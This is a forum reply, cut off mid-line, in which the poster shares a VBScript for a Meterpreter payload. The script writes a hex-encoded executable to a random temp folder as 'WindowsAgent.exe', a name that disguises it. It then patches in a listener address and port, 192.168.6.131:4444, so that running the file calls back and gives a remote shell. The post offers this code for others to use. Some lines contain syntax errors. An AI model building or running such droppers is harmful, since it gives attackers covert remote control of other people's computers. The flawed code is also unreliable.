I managed to find a solution that worked for me.
I found the variables for LPORT and LHOST in the executable's hex view (see screenshot).![Meterpreter hex dump](../../images/3808169074.webp)
If anyone is intested, I wrote a small VBS script that splices into that hex code.
Function BuildExe(Text)
' Convert the string to hex.
Set dom = CreateObject("Microsoft.XMLDOM")
dom.loadXML("<TtB/>")
dom.documentElement.nodeTypedValue = Text
dom.documentElement.dataType = "bin.hex"
exeHex = dom.documentElement.nodeTypedValue
' Create the filename and filepath for the executable.
exeFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\" & CreateObject("Scripting.FileSystemObject").GetTempName()
CreateObject("Scripting.FileSystemObject").CreateFolder(exeFile)
exePath = exeFile & "\" & "WindowsAgent.exe"
' Compile and save the executbale.
Set exeStream = CreateObject("ADODB.Stream")
exeStream.Type = 1
exeStream.Open
exeStream.Write exeHex
exeStream.SaveToFile exePath, 2
' Return the executable filepath.
BuildExe = exePath
End Function
' Initialize the script.
Log "PAYLOAD", "Payload shell_meterpreter.vbs has been launched."
Execute("lib\includes\build_exe.vbs")
' Set the listener info in hex.
LPORT = Hex("4444")
octets = Split("192.168.6.131"), ".")
For i = 0 To UBound(octets)
octectTemp = Hex(octets(i))
If Len(octectTemp) = 1 Then
octectTemp = 0 & octectTemp
End If
If i = 0 Then
LHOST = octectTemp
Else
LHOST = LHOST & octectTemp
End If
Next
' Build and run Meterpreter.
exePath =
